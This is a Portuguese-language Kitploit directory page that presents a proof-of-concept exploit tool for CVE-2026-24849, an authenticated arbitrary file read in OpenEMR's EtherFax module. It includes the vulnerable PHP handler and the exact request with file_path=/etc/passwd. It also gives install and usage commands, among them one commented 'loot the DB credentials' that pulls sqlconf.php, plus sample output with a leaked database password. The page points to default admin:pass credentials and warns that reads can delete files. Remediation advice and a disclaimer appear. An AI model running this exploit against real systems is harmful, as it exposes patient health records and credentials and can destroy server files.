Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24849 — Prova de conceito de exploit para CVE-2026-24849, uma vulnerabilidade autenticada de path traversal / leitura arbitrária de arquivos no módulo Fax/SMS (EtherFax) do OpenEMR. Qualquer usuário autenticado, independentemente do nível de privilégio, pode ler arquivos arbitrários do sistema de arquivos do servidor como o usuário do servidor web (credenciais de banco de dados, documentos de pacientes/PHI, /etc/passwd, …) | Kitploit
Ferramentas/GitHubGitHub/doany1/cve-2026-24849
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesTestes de Penetração
GitHubdoany1/cve-2026-24849

CVE-2026-24849

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

há 2 mesesAinda não revisado

Prova de conceito de exploit para CVE-2026-24849, uma vulnerabilidade autenticada de path traversal / leitura arbitrária de arquivos no módulo Fax/SMS (EtherFax) do OpenEMR. Qualquer usuário autenticado, independentemente do nível de privilégio, pode ler arquivos arbitrários do sistema de arquivos do servidor como o usuário do servidor web (credenciais de banco de dados, documentos de pacientes/PHI, /etc/passwd, …)

Compartilhar

CVE-2026-24849 OpenEMR Leitura Arbitrária de Arquivos Autenticada (EtherFax disposeDoc)

Testado em: OpenEMR Versão = 7.0.2

Exploit de prova de conceito para CVE-2026-24849, um path traversal autenticado / leitura arbitrária de arquivos no módulo Fax/SMS (EtherFax) do OpenEMR. Qualquer usuário autenticado, independentemente do nível de privilégio, pode ler arquivos arbitrários do sistema de arquivos do servidor como o usuário do servidor web (credenciais de banco de dados, documentos de pacientes/PHI, /etc/passwd, …).

CVECVE-2026-24849
VulnerabilidadePath Traversal / Leitura Arbitrária de Arquivos (CWE-22)
ComponenteEtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
AfetadosOpenEMR < 7.0.4
Corrigido emOpenEMR 7.0.4
AutenticaçãoNecessária qualquer usuário, sem privilégios necessários
SeveridadeNVD 6.5 (Média) / GitHub CNA 9.9 (Crítica)
Testado emOpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4

A vulnerabilidade

O método disposeDoc() do módulo Fax/SMS recebe um parâmetro de requisição file_path fornecido pelo chamador, confirma que o arquivo existe e o passa diretamente para readfile() sem canonicalização de caminho, sem lista de permissões e sem verificação de autorização além de manter uma sessão válida:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

O handler é alcançado através do dispatcher do módulo com um caminho absoluto em file_path (nenhuma travessia ../ é necessária):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Impacto

Uma conta de baixo privilégio (ou padrão) torna-se uma primitiva completa de leitura de arquivos no servidor:

  • Credenciais de banco de dados sites/default/sqlconf.php
  • Registros de pacientes / PHI qualquer coisa sob sites/<site>/documents/, mesmo quando esse diretório está com Deny from all no .htaccess (a leitura acontece no disco, contornando o Apache)
  • Arquivos do sistema /etc/passwd, código-fonte da aplicação, chaves/tokens legíveis pelo usuário web

⚠️ Comportamento destrutivo

disposeDoc() chama unlink($where) depois de ler o arquivo. Ler um arquivo que o usuário do servidor web tem permissão para excluir o removerá. Mire em arquivos pertencentes a root (ex.: /etc/passwd, sqlconf.php na maioria das instalações) o diretório pai não é gravável pelo usuário web, então o unlink() falha e o arquivo sobrevive. Seja deliberado sobre para onde você aponta isso.

Pré-requisitos

  • Credenciais válidas do OpenEMR (qualquer nível de privilégio o padrão admin:pass geralmente funciona).
  • O módulo Fax/SMS habilitado com EtherFax selecionado como provedor de fax. Nenhuma conta/credencial real do EtherFax é necessária a leitura do arquivo acontece antes de qualquer chamada de API externa.

Requisitos

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

Instalação

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Uso

Execute sem argumentos e ele solicitará tudo o que precisar:

root@kitploit:~
python3 CVE-2026-24849.py

Ou execute-o de forma não interativa com flags:

root@kitploit:~
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Opções

Se -f for omitido, a ferramenta entra em um loop de leitura interativo para que você possa obter vários arquivos de uma única sessão.

Exemplo

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

Como funciona

  1. Faz login com requests, mantendo a sessão em seu próprio cookie jar (evita a rotação de ID de sessão do navegador que faz cookies copiados expirarem).
  2. Confirma o acesso lendo um arquivo de sondagem seguro e pertencente a root distinguindo claramente credenciais inválidas vs módulo não habilitado vs sucesso.
  3. Envia a requisição de leitura disposeDoc, tentando automaticamente ambos disposeDoc e disposeDocument (o nome do método difere entre as versões menores afetadas).

Remediação

  • Atualize para o OpenEMR 7.0.4 ou posterior. A correção canonicaliza o caminho, restringe-o a um diretório permitido e adiciona uma verificação real de autorização.
  • Altere as credenciais padrão e imponha uma redefinição de senha no primeiro login.
  • Mantenha segredos e documentos de pacientes fora da raiz web; não confie no .htaccess como único controle.

Aviso legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use-a somente contra sistemas que você possui ou para os quais tenha permissão explícita e por escrito para testar. O autor não aceita responsabilidade por uso indevido ou por qualquer dano causado por este software. Observe o comportamento destrutivo do unlink() descrito acima.

Referências

  • Aviso de Segurança do GitHub: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • Fornecedor: https://www.open-emr.org/

Autor

doany1

Licença

MIT veja LICENSE.

Baixar ferramenta
FlagDescriçãoPadrão
-t, --targetURL base, ex.: http://10.10.10.10solicitado
-u, --userNome de usuário do OpenEMRadmin
-P, --passwordSenha do OpenEMRsolicitada (oculta)
-s, --siteID do site OpenEMRdefault
-f, --fileCaminho absoluto do arquivo remoto a lerloop interativo se omitido
-o, --outputSalvar o arquivo obtido localmente em vez de imprimir